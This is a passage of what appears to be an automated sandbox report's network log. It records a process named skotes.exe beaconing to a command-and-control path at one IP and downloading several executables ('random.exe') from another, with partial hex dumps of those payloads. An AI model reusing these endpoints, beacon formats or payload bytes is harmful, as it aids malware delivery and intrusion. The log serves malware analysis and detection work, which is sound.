00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PEL>og G @ `G;@U`i a N @.rsrc n@.idata `@ @*@emcbjfeu@,$@jhqzuixt G"@.taggant@ G"(@
Jan 3, 2025 15:22:07.578474045 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:07.578484058 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:07.578533888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:07.578546047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:07.578557014 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:07.578567982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:07.578578949 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:07.578725100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:07.578752041 CET	1236	IN	Data Raw: 1a d5 39 6a a2 b5 f5 e4 3d b7 06 88 0a a7 dc 88 11 86 1d 70 be de 16 71 cc d1 58 18 8d da a5 92 7a de 63 65 35 93 1d 8f fd 62 15 3e fb cb 60 f8 2a d8 25 74 05 1c 76 34 e9 d4 57 b8 60 5e 63 74 98 d5 6e 70 68 c2 36 80 93 d6 0b 69 90 9d c7 7a 37 d7 Data Ascii: 9j=pqXzce5b>`%tv4W`^ctnph6iz7hn0xc(ue60+^kf,T>cI{RU1or_qDqjT[7RvHu^wu)}mC?EV(&
Jan 3, 2025 15:22:07.583571911 CET	1236	IN	Data Raw: 00 b4 b3 79 5a 0c f8 4c 48 86 21 1c bd 45 1c 77 79 25 04 82 f6 c8 40 98 54 3a 54 aa 2a de 46 a2 33 8b f3 42 2f 6e 78 47 a2 c4 fe 91 4a 19 a7 8f 28 b8 12 3a 6d 72 44 6b 15 47 7c 99 6c b9 e0 73 d0 9f 68 89 fa 13 cc 8f 44 9e 6d 53 6c d8 fa ea bb 85 Data Ascii: yZLH!Ewy%@T:TF3B/nxGJ(:mrDkG\|lshDmSl9B*<F ,/dsP-@y-b?_@sn~G\|1{loZ4v4Qy0Yk=5<gC!yG7`u^kEd-XdcaxyAGv$sFjl>g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50028	185.215.113.43	80	8156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 15:22:11.437907934 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 32 39 38 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1029869001&unit=246122658369
Jan 3, 2025 15:22:12.173979044 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 03 Jan 2025 14:22:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50029	31.41.244.11	80	8156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 15:22:12.182553053 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Jan 3, 2025 15:22:12.879259109 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 03 Jan 2025 14:22:12 GMT Content-Type: application/octet-stream Content-Length: 3185152 Last-Modified: Fri, 03 Jan 2025 13:57:17 GMT Connection: keep-alive ETag: "6777ecbd-309a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 11 f0 76 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 48 04 00 00 ba 00 00 00 00 00 00 00 a0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 30 00 00 04 00 00 4f 69 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 59 80 05 00 6d 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELvgH0@0Oi1@Ymp ``@.rsrcpp@.idata t@fsfalnhv+*v@sinujova0t0@.taggant00"x0@
Jan 3, 2025 15:22:12.879281998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:12.879296064 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:12.879307985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:12.879389048 CET	1236	IN	Data Raw: b7 b7 cc c7 60 5f 6c 9e 73 b7 4a be 44 b7 e2 48 f3 c3 67 0c b8 3a a9 c6 b7 b7 65 05 b3 3e 01 b2 a7 f4 d7 c7 27 7b e2 48 f3 bb 67 0c b8 3b 11 c7 b7 b7 29 cc b7 b7 e2 cb f0 77 e6 ca b7 b7 e2 32 83 b6 e2 cb 5d c7 41 b7 b3 47 a7 cb 34 fb e6 46 f7 c4 Data Ascii: `_lsJDHg:e>'{Hg;)w2]AG4FfRw;se:#3>w)ww)wRpm7r:oAkJnHkRxx!`ezgBeJf
Jan 3, 2025 15:22:12.879404068 CET	1120	IN	Data Raw: 3e 14 6e d0 93 3e 3b e0 4a 6a e9 86 3e a5 6b 0f dc 71 93 30 51 f4 b6 e7 bf f4 d7 cb 27 7b e2 32 26 b7 e2 cb c8 6b 06 c8 dc 86 6d a0 93 bb 6b 09 b8 2d 26 7c df 27 d1 cb b7 38 27 c8 32 f7 b6 c1 71 40 9f e7 83 3e f6 cc 01 a5 97 33 2e 65 e2 cb 34 fb Data Ascii: >n>;Jj>kq0Q'{2&kmk-&\|'8'2q@>3.e42.>b!j@jPgCm{5gC342Ak>ejAAG40AG4x8'<y?UjKAy/8'k////ta8Oe
Jan 3, 2025 15:22:12.879415989 CET	1236	IN	Data Raw: 93 bb b7 06 c8 6b 06 c8 61 f4 b6 e7 87 df 49 b3 b7 b7 6d 78 93 c3 6d 90 93 a7 65 08 bb 3a 23 97 1f 40 a4 bb 3c ab 7a 31 b5 a6 38 76 df bf e2 cb b7 38 27 b8 69 94 9d 7e f4 40 af e7 b3 a6 22 47 fe 6b eb 48 4e bb e7 96 b4 40 a4 d3 f4 03 2f 10 fb 03 Data Ascii: kaImxme:#@<z18v8'i~@"GkHN@///ta8OA8G<k2Gae>3<4R@:eAS8K>{9U;vRsRM'GS<'GS<'GS<'zY>KsPKP<f!kPv/jDQvm/J&_
Jan 3, 2025 15:22:12.879429102 CET	1236	IN	Data Raw: b7 b7 6d 98 93 9f 98 33 ce 5b e2 cb 34 fb e6 52 b3 9b 92 75 df 53 e4 cb b7 38 27 d4 3c 8b 06 e8 3c 69 02 4f 69 f4 6b 15 34 e4 e3 52 73 9b e6 cc 34 4d e3 cb b7 32 42 1d c8 f4 6d 8a af b0 a4 bf 45 79 94 33 0a b6 e2 cb 34 fb e6 52 f6 2f 42 1d c8 f4 Data Ascii: m3[4RuS8'<<iOik4Rs4M2BmEy34R/BgBbAJfSHkmxmB>e4>e^A<yP}mk?@<Rn@>S<yP}k?@<PKR?B@R"I\|l%@>{R<'GS<'GS<'GS<'x3A> @
Jan 3, 2025 15:22:12.879446983 CET	1236	IN	Data Raw: b7 3e 1c 15 e6 98 ae e7 b3 3e 1d e9 63 9b d2 f2 fd ae 4c cd 34 21 e4 cb b7 b3 9e 96 93 c4 78 89 b6 38 23 fe 33 ef 95 cc 30 09 e4 cb b7 42 be ca c8 9b 67 60 51 7b e2 05 b1 99 4d 57 27 47 53 3c 27 b3 02 cd 35 2d e4 cb b7 3f e9 52 e8 e0 84 06 b1 a4 Data Ascii: >>cL4!x8#30Bg`Q{MW'GS<'5-?RM?0/B:fJbHg:pme#HlTKAKAKAKzAKlRJj7L7k}M:6A>+j>#47?7L7k8))
Jan 3, 2025 15:22:12.879460096 CET	1236	IN	Data Raw: b8 3b b9 ca b7 b7 7b 6d 1e 65 a0 52 ef ec 43 0b dd c0 cb 09 07 ca e2 cb 3e 0e 0c 0b dc 8a 52 3c 27 47 53 3c 27 47 53 3c 27 47 53 3c 27 40 af e7 b3 3e 2b f1 b3 9b e3 06 3e e7 7c 9b 37 bc 62 15 d5 3e 16 0b dc c4 6b 24 0d 66 62 c5 37 ec 44 b3 f4 e6 Data Ascii: ;{meRC>R<'GS<'GS<'GS<'@>+>\|7b>k$fb7DA(m'f8<>>Eac+>>%Us5-*xUs--1@>!B4i@>8
Jan 3, 2025 15:22:12.884316921 CET	1236	IN	Data Raw: c9 f4 41 79 61 df 51 d2 b7 b7 65 08 bf 3a 23 a4 90 3e d1 ab 34 f0 e5 96 ee 42 69 9a 25 b6 e2 04 71 9b e2 cb b7 b7 ca cb b7 b9 e2 b1 b7 87 4a 06 62 b7 e2 48 f3 c3 4d 62 3c 7d ce 32 0c f5 41 1d fb 03 2f 10 fb 03 2f 10 fb 8c 98 50 43 9b ee 50 71 6f Data Ascii: AyaQe:#>4Bi%qJbHMb<}2A//PCPqogCmN3R@2<mF;mo@>C3KiT{8'uI];>5omK>HIW"II#M\|//ta8O<cx<:ckm73<:kkoG'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50031	185.215.113.43	80	8156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 15:22:17.701455116 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 32 39 39 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1029919001&unit=246122658369
Jan 3, 2025 15:22:18.467467070 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 03 Jan 2025 14:22:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50034	31.41.244.11	80	8156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 15:22:18.477742910 CET	58	OUT	GET /files/nsx/random.exe HTTP/1.1 Host: 31.41.244.11
Jan 3, 2025 15:22:19.161654949 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 03 Jan 2025 14:22:19 GMT Content-Type: application/octet-stream Content-Length: 50265898 Last-Modified: Thu, 02 Jan 2025 16:23:47 GMT Connection: keep-alive ETag: "6776bd93-2feff2a" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5d 90 4e cd 19 f1 20 9e 19 f1 20 9e 19 f1 20 9e ad 6d d1 9e 15 f1 20 9e ad 6d d3 9e b2 f1 20 9e ad 6d d2 9e 01 f1 20 9e 22 af 23 9f 0b f1 20 9e 22 af 25 9f 04 f1 20 9e 22 af 24 9f 0b f1 20 9e c4 0e eb 9e 10 f1 20 9e 19 f1 21 9e 6d f1 20 9e 8b af 24 9f 08 f1 20 9e 8b af df 9e 18 f1 20 9e 8b af 22 9f 18 f1 20 9e 52 69 63 68 19 f1 20 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 a3 d3 11 5e 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 f0 01 00 00 14 02 00 00 00 00 00 d3 7c 00 00 00 10 00 00 00 00 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$]N m m m "# "% "$ !m $ " Rich PEL^"\|@@@d] @.text `.rdata@@.data@.gfids@@.rsrc]^@@.reloc @B
Jan 3, 2025 15:22:19.161673069 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 e8 f0 88 00 00 8b f0 e8 e3 88 00 00 ff 36 ff 30 e8 8a 3a 00 00 8b Data Ascii: V60:V0^8VW\|$HwjPuhB&3_^8D$DwD$,D$0D$4D$iwD$t$ij8D$D
Jan 3, 2025 15:22:19.161760092 CET	1236	IN	Data Raw: 24 0c 68 3c 02 42 00 50 e8 5e 58 00 00 83 c4 0c 85 c0 78 42 8d 44 24 08 6a 04 50 e8 8b 3f 00 00 83 c4 08 85 c0 78 15 8d 44 24 08 50 e8 0a 57 00 00 83 c4 04 8b c6 5f 5e 83 c4 38 c3 ff 74 24 20 50 68 44 02 42 00 e8 90 09 00 00 83 c4 0c 33 c0 5f 5e Data Ascii: $h<BP^XxBD$jP?xD$PW_^8t$ PhDB3_^8t$ Ph`Bv3_^8QVt$jjD$606D$jjP5fD$(<MZjj<66D$jjPD$ jP66D$8jj
Jan 3, 2025 15:22:19.161771059 CET	224	IN	Data Raw: c4 08 89 06 85 c0 0f 84 8b 00 00 00 56 e8 95 fb ff ff 83 c4 04 83 f8 01 7d 15 6a 02 6a 00 ff 36 e8 cb 8d 00 00 ff 36 e8 36 93 00 00 83 c4 10 50 56 e8 21 fe ff ff 83 c4 08 83 f8 ff 74 59 ff 76 24 c7 86 6c 40 00 00 00 00 00 00 e8 95 64 00 00 6a 00 Data Ascii: V}jj666PV!tYv$l@djTBvdFP6v pdPgFuhLBhpB^6jv =dPvTshxBhB^v dF6F
Jan 3, 2025 15:22:19.161794901 CET	1236	IN	Data Raw: e8 29 87 00 00 83 c4 04 85 c0 74 12 68 9c 03 42 00 e8 a1 03 00 00 83 c4 04 83 c8 ff 5e c3 56 e8 83 fb ff ff 83 c4 04 33 c0 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc 53 8b 5c 24 0c 55 56 68 00 10 00 00 53 e8 d6 82 00 00 8b 6c 24 20 8b f0 68 00 10 Data Ascii: )thB^V3^S\$UVhSl$ hU@=v^][W\|$Wh+IDuEEu+GGul$h+_[Luh0h@+@Lu^]3[
Jan 3, 2025 15:22:19.161838055 CET	1236	IN	Data Raw: 00 8d 84 24 18 08 00 00 56 50 e8 f4 31 00 00 83 c4 18 85 c0 74 46 68 00 04 00 00 8d 44 24 0c 57 50 e8 dd 31 00 00 83 c4 0c 8d 44 24 08 ff b4 24 18 10 00 00 50 8d 84 24 10 08 00 00 50 6a 00 ff 15 80 01 42 00 5f 5e 8b 8c 24 00 10 00 00 33 cc e8 e2 Data Ascii: $VP1tFhD$WP1D$$P$PjB_^$3^$WVjB$_^3^P^B3$P$PS$PVPD$3P$ PSu^[$P3M^PW
Jan 3, 2025 15:22:19.161849976 CET	1236	IN	Data Raw: 8b 74 24 08 56 e8 45 1c 00 00 83 c4 04 83 f8 ff 75 04 0b c0 5e c3 ff 74 24 10 8d 86 68 20 00 00 50 ff 74 24 14 e8 f5 1a 00 00 40 83 c4 0c f7 d8 1b c0 f7 d8 48 5e c3 cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 8b 77 08 3b 77 0c 73 51 8b 5c 24 14 Data Ascii: t$VEu^t$h Pt$@H^SVW\|$w;wsQ\$N:utQ:Puu3uVWuVW;wr_^3[_^[Vt$Vt^Vl@uVuV
Jan 3, 2025 15:22:19.161861897 CET	672	IN	Data Raw: 40 01 88 4c 02 ff 84 c9 75 f3 38 0f 74 1d 38 0e 74 19 5f 33 c0 5e 8b 8c 24 04 10 00 00 33 cc e8 6b 55 00 00 81 c4 08 10 00 00 c3 8b 8c 24 0c 10 00 00 83 c8 ff 5f 5e 33 cc e8 51 55 00 00 81 c4 08 10 00 00 c3 cc cc cc cc cc cc b8 08 30 00 00 e8 56 Data Ascii: @Lu8t8t_3^$3kU$_^3QU0VUB3$0V$0Wjjt$Phx@ju,hBhBu_^$03T0S6$P$P$ PC$ PD$
Jan 3, 2025 15:22:19.161871910 CET	1236	IN	Data Raw: 00 00 8d 44 24 14 0f 45 c6 50 68 dc 05 42 00 e8 57 1c 00 00 68 dc 05 42 00 e8 fd 16 00 00 57 e8 17 5b 00 00 83 c4 10 83 f8 ff 75 05 83 c8 ff eb 3a e8 75 6c 00 00 ff 74 24 10 8d 84 24 18 10 00 00 55 57 50 e8 92 1c 00 00 83 c4 10 8b d8 83 bf 68 40 Data Ascii: D$EPhBWhBW[u:ult$$UWPh@uV^W$0][_^3rR0D$Vt$+@LuQAu+D1pkg^ 6RB3$ V$ D$h
Jan 3, 2025 15:22:19.161885023 CET	1236	IN	Data Raw: 68 ec 07 42 00 56 ff d7 a3 74 c9 42 00 85 c0 75 18 68 04 08 42 00 68 bc 06 42 00 e8 97 ec ff ff 83 c4 08 83 c8 ff 5f 5e c3 68 38 08 42 00 56 ff d7 a3 60 c9 42 00 85 c0 75 18 68 48 08 42 00 68 bc 06 42 00 e8 6e ec ff ff 83 c4 08 83 c8 ff 5f 5e c3 Data Ascii: hBVtBuhBhB_^h8BV`BuhHBhBn_^htBVhBuhBhBE_^hBVBuhBhB_^hBVBuhBhB_^h BV\|Buh,BhB
Jan 3, 2025 15:22:19.166661978 CET	1236	IN	Data Raw: 68 bc 06 42 00 e8 d9 e7 ff ff 83 c4 08 83 c8 ff 5b 5f 5e c3 5b 5f 33 c0 5e c3 cc cc cc cc cc cc cc cc cc ff 25 e0 c9 42 00 cc cc cc cc cc cc cc cc cc cc ff 25 9c c9 42 00 cc cc cc cc cc cc cc cc cc cc ff 25 98 c9 42 00 cc cc cc cc cc cc cc cc cc Data Ascii: hB[_^[_3^%B%B%B%B%BVW\|$tfPjFvuWj_^D$l@u%\|B=dCSVW\|$tAjh0PjuhXB

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49709	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:03 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 50 66 75 53 36 46 51 62 5a 45 57 69 2b 76 39 57 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 37 36 63 63 33 31 64 33 63 35 39 62 35 32 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: PfuS6FQbZEWi+v9W.1Context: e76cc31d3c59b52d
2025-01-03 14:21:03 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-03 14:21:03 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 50 66 75 53 36 46 51 62 5a 45 57 69 2b 76 39 57 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 37 36 63 63 33 31 64 33 63 35 39 62 35 32 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 51 67 34 62 35 38 63 53 30 56 55 49 44 6e 74 37 30 6a 74 4a 77 33 52 6f 42 41 57 50 58 6b 44 58 37 55 5a 6d 62 6f 64 76 54 4d 78 72 37 66 78 5a 4b 69 4f 57 66 37 54 33 35 6e 79 79 68 4f 6a 43 50 4b 4f 5a 36 77 65 52 54 2b 68 2f 4f 39 77 42 31 2b 76 34 56 67 63 38 31 2b 4b 70 39 62 61 69 54 69 42 54 50 67 72 70 62 45 4c 66 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: PfuS6FQbZEWi+v9W.2Context: e76cc31d3c59b52d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaQg4b58cS0VUIDnt70jtJw3RoBAWPXkDX7UZmbodvTMxr7fxZKiOWf7T35nyyhOjCPKOZ6weRT+h/O9wB1+v4Vgc81+Kp9baiTiBTPgrpbELf
2025-01-03 14:21:03 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 50 66 75 53 36 46 51 62 5a 45 57 69 2b 76 39 57 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 37 36 63 63 33 31 64 33 63 35 39 62 35 32 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: PfuS6FQbZEWi+v9W.3Context: e76cc31d3c59b52d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-03 14:21:03 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-03 14:21:03 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 66 45 39 34 58 63 63 55 6b 57 2b 42 59 6b 49 7a 4e 33 6a 4b 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7fE94XccUkW+BYkIzN3jKA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49731	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
